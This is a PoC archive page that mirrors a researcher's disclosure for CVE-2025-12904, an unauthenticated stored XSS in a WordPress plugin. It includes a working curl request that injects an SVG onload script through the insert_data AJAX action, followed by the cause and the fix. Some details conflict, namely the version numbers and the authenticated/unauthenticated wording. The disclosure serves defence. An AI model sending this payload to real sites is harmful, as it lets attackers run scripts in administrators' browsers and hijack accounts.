Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-12904 PoC — SNORDIAN's H5PxAPIkatchu <= 0.4.17 - Unauthenticated Stored Cross-Site Scripting via insert_data

Source
Associated Vulnerability
Title:SNORDIAN's H5PxAPIkatchu <= 0.4.17 - Unauthenticated Stored Cross-Site Scripting via insert_data (CVE-2025-12904)
Description:The SNORDIAN's H5PxAPIkatchu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'insert_data' AJAX endpoint in all versions up to, and including, 0.4.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Description
Disclosure for CVE-2025-12904
Readme
# SNORDIAN's-H5PxAPIkatchu-CVE-Report
Disclosure for CVE-2025-12904

# CVE-2025-12904 - Vulnerability in SNORDIAN's H5PxAPIkatchu

This repository discloses a vulnerability discovered in [SNORDIAN's H5PxAPIkatchu <= 0.4.16](https://wordpress.org/plugins/h5pxapikatchu/),WordPress plugin developed by otacke.

## 🛠 Affected Version

- **Product**: SNORDIAN's H5PxAPIkatchu
- **Version**: v0.4.16
- **URL**: https://wordpress.org/plugins/h5pxapikatchu/

---

## 🔒 Assigned CVE
| CVE ID            | Type                      | Component                | Impact                    |
|-------------------|---------------------------|--------------------------|---------------------------|
| CVE-2025-12904    |  Unauthenticated Stored Cross-Site Scripting via insert_data                |  class-table-view.php            | Authenticated attacker can execute JS     |  

---

## 🧾 Detailed a Description

### CVE-2025-12904 — Unauthenticated Stored Cross-Site Scripting via insert_data

 - **Affected Component**: h5pxapikatchu admin page
 - **Attack Vector**: Unauthenticated via POST request
 - **Trigger**: An attacker can inject malicious scripts into the admin interface by exploiting the insert_data action to store arbitrary scripts.

```
curl -i -X POST 'http://localhost:8080/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=insert_data' \
  --data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

```
※If the id within the object does not exist, it will fail.

 - **Impact**: Stored scripts may be executed, posing a risk of serious harm such as account hijacking.

## ❓Reason for the vulnerability

The `insert_data()` function did not perform any permission checks, allowing malicious input to be saved without authentication. Furthermore, these entries were displayed unescaped on the administration interface.
 - The `insert_data()` function uses `current_user_can` to prevent unauthorised execution.
 - By using esc_html($value) rather than echo $value, you can prevent XSS execution.

 

 
## 🔍 Discoverer

**Name**: MooseLove  
**Role**: Independent security researcher / bug hunter  
**Contact**: Available upon request  

---

## 📚 References

- Product: https://wordpress.org/plugins/h5pxapikatchu/

---

## ⚠️ License

This advisory is provided for public security awareness. Free to share with attribution.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →